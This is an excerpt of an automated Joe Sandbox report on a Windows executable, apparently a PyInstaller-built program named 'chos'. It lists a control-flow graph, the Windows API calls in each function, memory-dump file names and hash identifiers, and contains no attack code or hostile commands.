                                                                                                                                                                                                                                              control_flow_graph 899 7ff7fd74bacc-7ff7fd74baf2 900 7ff7fd74bb0d-7ff7fd74bb11 899->900 901 7ff7fd74baf4-7ff7fd74bb08 call 7ff7fd744f58 call 7ff7fd744f78 899->901 902 7ff7fd74bee7-7ff7fd74bef3 call 7ff7fd744f58 call 7ff7fd744f78 900->902 903 7ff7fd74bb17-7ff7fd74bb1e 900->903 915 7ff7fd74befe 901->915 922 7ff7fd74bef9 call 7ff7fd74a950 902->922 903->902 905 7ff7fd74bb24-7ff7fd74bb52 903->905 905->902 909 7ff7fd74bb58-7ff7fd74bb5f 905->909 912 7ff7fd74bb78-7ff7fd74bb7b 909->912 913 7ff7fd74bb61-7ff7fd74bb73 call 7ff7fd744f58 call 7ff7fd744f78 909->913 918 7ff7fd74bee3-7ff7fd74bee5 912->918 919 7ff7fd74bb81-7ff7fd74bb87 912->919 913->922 920 7ff7fd74bf01-7ff7fd74bf18 915->920 918->920 919->918 923 7ff7fd74bb8d-7ff7fd74bb90 919->923 922->915 923->913 926 7ff7fd74bb92-7ff7fd74bbb7 923->926 928 7ff7fd74bbb9-7ff7fd74bbbb 926->928 929 7ff7fd74bbea-7ff7fd74bbf1 926->929 930 7ff7fd74bbbd-7ff7fd74bbc4 928->930 931 7ff7fd74bbe2-7ff7fd74bbe8 928->931 932 7ff7fd74bbf3-7ff7fd74bc1b call 7ff7fd74d66c call 7ff7fd74a9b8 * 2 929->932 933 7ff7fd74bbc6-7ff7fd74bbdd call 7ff7fd744f58 call 7ff7fd744f78 call 7ff7fd74a950 929->933 930->931 930->933 935 7ff7fd74bc68-7ff7fd74bc7f 931->935 959 7ff7fd74bc1d-7ff7fd74bc33 call 7ff7fd744f78 call 7ff7fd744f58 932->959 960 7ff7fd74bc38-7ff7fd74bc63 call 7ff7fd74c2f4 932->960 963 7ff7fd74bd70 933->963 938 7ff7fd74bcfa-7ff7fd74bd04 call 7ff7fd75398c 935->938 939 7ff7fd74bc81-7ff7fd74bc89 935->939 950 7ff7fd74bd8e 938->950 951 7ff7fd74bd0a-7ff7fd74bd1f 938->951 939->938 943 7ff7fd74bc8b-7ff7fd74bc8d 939->943 943->938 947 7ff7fd74bc8f-7ff7fd74bca5 943->947 947->938 952 7ff7fd74bca7-7ff7fd74bcb3 947->952 955 7ff7fd74bd93-7ff7fd74bdb3 ReadFile 950->955 951->950 957 7ff7fd74bd21-7ff7fd74bd33 GetConsoleMode 951->957 952->938 958 7ff7fd74bcb5-7ff7fd74bcb7 952->958 961 7ff7fd74bead-7ff7fd74beb6 GetLastError 955->961 962 7ff7fd74bdb9-7ff7fd74bdc1 955->962 957->950 964 7ff7fd74bd35-7ff7fd74bd3d 957->964 958->938 965 7ff7fd74bcb9-7ff7fd74bcd1 958->965 959->963 960->935 971 7ff7fd74beb8-7ff7fd74bece call 7ff7fd744f78 call 7ff7fd744f58 961->971 972 7ff7fd74bed3-7ff7fd74bed6 961->972 962->961 968 7ff7fd74bdc7 962->968 973 7ff7fd74bd73-7ff7fd74bd7d call 7ff7fd74a9b8 963->973 964->955 970 7ff7fd74bd3f-7ff7fd74bd61 ReadConsoleW 964->970 965->938 966 7ff7fd74bcd3-7ff7fd74bcdf 965->966 966->938 974 7ff7fd74bce1-7ff7fd74bce3 966->974 978 7ff7fd74bdce-7ff7fd74bde3 968->978 980 7ff7fd74bd63 GetLastError 970->980 981 7ff7fd74bd82-7ff7fd74bd8c 970->981 971->963 975 7ff7fd74bedc-7ff7fd74bede 972->975 976 7ff7fd74bd69-7ff7fd74bd6b call 7ff7fd744eec 972->976 973->920 974->938 985 7ff7fd74bce5-7ff7fd74bcf5 974->985 975->973 976->963 978->973 987 7ff7fd74bde5-7ff7fd74bdf0 978->987 980->976 981->978 985->938 991 7ff7fd74be17-7ff7fd74be1f 987->991 992 7ff7fd74bdf2-7ff7fd74be0b call 7ff7fd74b6e4 987->992 996 7ff7fd74be9b-7ff7fd74bea8 call 7ff7fd74b524 991->996 997 7ff7fd74be21-7ff7fd74be33 991->997 999 7ff7fd74be10-7ff7fd74be12 992->999 996->999 1000 7ff7fd74be8e-7ff7fd74be96 997->1000 1001 7ff7fd74be35 997->1001 999->973 1000->973 1003 7ff7fd74be3a-7ff7fd74be41 1001->1003 1004 7ff7fd74be7d-7ff7fd74be88 1003->1004 1005 7ff7fd74be43-7ff7fd74be47 1003->1005 1004->1000 1006 7ff7fd74be49-7ff7fd74be50 1005->1006 1007 7ff7fd74be63 1005->1007 1006->1007 1008 7ff7fd74be52-7ff7fd74be56 1006->1008 1009 7ff7fd74be69-7ff7fd74be79 1007->1009 1008->1007 1010 7ff7fd74be58-7ff7fd74be61 1008->1010 1009->1003 1011 7ff7fd74be7b 1009->1011 1010->1009 1011->1000
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3215553584-0
                                                                                                                                                                                                                                              • Opcode ID: ba46bac31fe72f1dd681b3566344db0dd8f54c3f22ac6e326a6392c95ac81308
                                                                                                                                                                                                                                              • Instruction ID: 53c0256a7fb6a6e9da2550f8a545d208f5790556cc2fd8dd058cde3ed30fd06c
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ba46bac31fe72f1dd681b3566344db0dd8f54c3f22ac6e326a6392c95ac81308
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8DC1F62290C686D1E752AB1590482BEE760FF8AB80FD50135EA6D0B3D5EF7CE84587F1
                                                                                                                                                                                                                                              Function 00007FF7FD738760 Relevance: 10.6, APIs: 7, Instructions: 63COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 995526605-0
                                                                                                                                                                                                                                              • Opcode ID: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
                                                                                                                                                                                                                                              • Instruction ID: 78063786770d890354a9759b6b7e335b7c75c199406f40a97ca51ae625e725a8
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 79215321A0C64642EB50AB55F45427AE3A0FFC97A0F900235EA7D4BAE4EFBDD44487F0
                                                                                                                                                                                                                                              Function 00007FF7FD7390E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON
                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD738760: GetCurrentProcess.KERNEL32 ref: 00007FF7FD738780
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD738760: OpenProcessToken.ADVAPI32 ref: 00007FF7FD738793
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD738760: GetTokenInformation.KERNELBASE ref: 00007FF7FD7387B8
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD738760: GetLastError.KERNEL32 ref: 00007FF7FD7387C2
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD738760: GetTokenInformation.KERNELBASE ref: 00007FF7FD738802
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD738760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7FD73881E
                                                                                                                                                                                                                                                • Part of subcall function 00007FF7FD738760: CloseHandle.KERNELBASE ref: 00007FF7FD738836
                                                                                                                                                                                                                                              • LocalFree.KERNEL32(?,00007FF7FD733C55), ref: 00007FF7FD73916C
                                                                                                                                                                                                                                              • LocalFree.KERNEL32(?,00007FF7FD733C55), ref: 00007FF7FD739175
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                                                                                                                                                                                                              • String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
                                                                                                                                                                                                                                              • API String ID: 6828938-1529539262
                                                                                                                                                                                                                                              • Opcode ID: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
                                                                                                                                                                                                                                              • Instruction ID: 2556527a95505124069f0df6804bbad54b764a542b68b240e7413c5dd3f2af4e
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7A212A21A0CB4281E750BB50E9153EAA261EF8C780FD44031EA6D5BBD6EF7CD94597F0
                                                                                                                                                                                                                                              Function 00007FF7FD737E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • CreateDirectoryW.KERNELBASE(00000000,?,00007FF7FD73352C,?,00000000,00007FF7FD733F23), ref: 00007FF7FD737F22
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CreateDirectory
                                                                                                                                                                                                                                              • String ID: %.*s$%s%c$\
                                                                                                                                                                                                                                              • API String ID: 4241100979-1685191245
                                                                                                                                                                                                                                              • Opcode ID: 8ca7fb79b4ea6b2c566bb37e9ebd00ba932afb87f6e77ad964f7d4209dd14296
                                                                                                                                                                                                                                              • Instruction ID: cfb2fa90d5dd17c57150a204df4da591455437baad3a82b4597b6fb4aecfccc9
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8ca7fb79b4ea6b2c566bb37e9ebd00ba932afb87f6e77ad964f7d4209dd14296
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9431E72161DAC245EB21A720A4517AAA354EB88BE0F840231EE7D4B7C9FF6CD20187F0
                                                                                                                                                                                                                                              Function 00007FF7FD74CFD0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FD74CFBB), ref: 00007FF7FD74D0EC
                                                                                                                                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FD74CFBB), ref: 00007FF7FD74D177
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ConsoleErrorLastMode
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 953036326-0
                                                                                                                                                                                                                                              • Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
                                                                                                                                                                                                                                              • Instruction ID: b0c0a287ab31274774254497bfb8285bf7e59fdf871b248b1fe85c6a3b000284
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C9911732F1C651C5F752AF65844827DABA0AB4AB88F940139DE6E1B6C4EF38D442C7F0
                                                                                                                                                                                                                                              Function 00007FF7FD74F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: _get_daylight$_isindst
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 4170891091-0
                                                                                                                                                                                                                                              • Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
                                                                                                                                                                                                                                              • Instruction ID: 3f78355ee83bf340c8cd72e337fc0ad527d04cb903964fa97a86928b2805bcfb
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: B3510672F0C151C6EB15EF3499596BCE761EB4A358F900235DE2D9AAE4EF38A401C7E0
                                                                                                                                                                                                                                              Function 00007FF7FD7457EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 2780335769-0
                                                                                                                                                                                                                                              • Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
                                                                                                                                                                                                                                              • Instruction ID: 04005e42583174f7de8ce393704d3fb4b383e3d5b035ee9707ea10fb406a4e5a
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F1519B22A0C641CAFB12EFA194543BDA3B1AB49B58F948535DE195B6C8EF38D44083F0
                                                                                                                                                                                                                                              Function 00007FF7FD745698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1279662727-0
                                                                                                                                                                                                                                              • Opcode ID: 24238bc47b860f74abc13910c6a37bc7991964e3dbe0c30fb6d15975fbdc4001
                                                                                                                                                                                                                                              • Instruction ID: 22e01440ca5fe82f76f5f0589f7368dbd3c3c133762025f231acf07065c1feae
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 24238bc47b860f74abc13910c6a37bc7991964e3dbe0c30fb6d15975fbdc4001
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3A41C522D1C782C3E352AB219554379A360FB9A764F508335E66C0BAD5EF7CA4E087F0
                                                                                                                                                                                                                                              Function 00007FF7FD73CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 3251591375-0
                                                                                                                                                                                                                                              • Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
                                                                                                                                                                                                                                              • Instruction ID: 5cc47de31d2ce143fdc374167424b22d92fe0e5a83d3b733d76ed3d091bf787f
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C8315911E1C50381FB64BB6598123BDA781AF4A384FC40438E92D4F2D7FEACA405E2F1
                                                                                                                                                                                                                                              Function 00007FF7FD749AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD76E000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119822793.00007FF7FD772000.00000004.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD774000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119870700.00007FF7FD779000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_10_2_7ff7fd730000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                              • API String ID: 1703294689-0
                                                                                                                                                                                                                                              • Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
                                                                                                                                                                                                                                              • Instruction ID: 721fbaf5cf746bf22abd12707b19b9207bfef36fb08f59774d676a9be0540e24
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 6CD06C10B0D64682EB593B7058992789252AF4EB41F94143CD82B1E3D3FE2CA84983F2
                                                                                                                                                                                                                                              Function 00007FF7FD7401AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 0000000A.00000002.2119757665.00007FF7FD731000.00000020.00000001.01000000.0000002D.sdmp, Offset: 00007FF7FD730000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119733993.00007FF7FD730000.00000002.00000001.01000000.0000002D.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 0000000A.00000002.2119792103.00007FF7FD75B000.00000002.00000001.01000000.0000002D.sdmpDownload File
